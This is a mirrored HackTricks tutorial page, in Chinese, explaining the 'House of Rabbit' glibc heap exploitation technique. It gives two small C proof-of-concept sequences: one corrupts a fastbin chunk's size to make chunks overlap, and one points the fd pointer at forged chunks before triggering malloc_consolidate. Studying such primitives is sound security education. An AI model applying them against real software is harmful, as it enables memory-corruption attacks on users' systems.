mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
4.2 KiB
4.2 KiB
兔子之屋
{% hint style="success" %}
学习并练习 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习并练习 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 检查订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 关注我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。
需求
- 能够修改快速分配区块的 fd 指针或大小:这意味着您可以更改快速分配区块中的一个块的前向指针或其大小。
- 能够触发
malloc_consolidate
:这可以通过分配一个大块或合并顶部块来实现,从而强制堆合并块。
目标
- 创建重叠块:使一个块与另一个块重叠,从而允许进一步的堆操作。
- 伪造假块:欺骗分配器,在堆操作期间将伪造的块视为合法块。
攻击步骤
POC 1:修改快速分配区块的大小
目标:通过操纵快速分配区块的大小来创建一个重叠的块。
- 步骤 1:分配块
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- 步骤 2: 释放块
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
- 步骤 3: 修改块大小
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
- 步骤 4: 触发
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
分配一个大块会触发malloc_consolidate
函数,合并快速分配区中的小块。chunk1
的操纵大小导致它与chunk2
重叠。
在合并后,chunk1
与chunk2
重叠,从而可以进一步利用。
POC 2: 修改fd
指针
目标:通过操纵快速分配区的fd
指针来创建一个伪造的块。
- 步骤 1:分配块
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
解释:我们分配两个块,一个较小,一个较大,以设置堆以用于伪造块。
- 步骤 2:创建伪造块
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- 步骤 3: 释放
chunk1
free(chunk1); // Frees the chunk at 0x602000
解释:我们释放chunk1
,将其添加到fastbin列表。
- 步骤 4:修改
chunk1
的fd
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
解释:我们将chunk1
的前向指针(fd
)更改为指向chunk2
内部的假块。
- 步骤 5: 触发
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
重新分配一个大块会触发 malloc_consolidate
,这将处理伪造的块。
伪造的块成为快速分配链表的一部分,使其成为进一步利用的合法块。
摘要
兔子之屋 技术涉及修改快速分配链表块的大小以创建重叠块,或者操纵 fd
指针以创建伪造块。这使攻击者能够在堆中伪造合法块,从而实现各种形式的利用。理解并实践这些步骤将增强您的堆利用技能。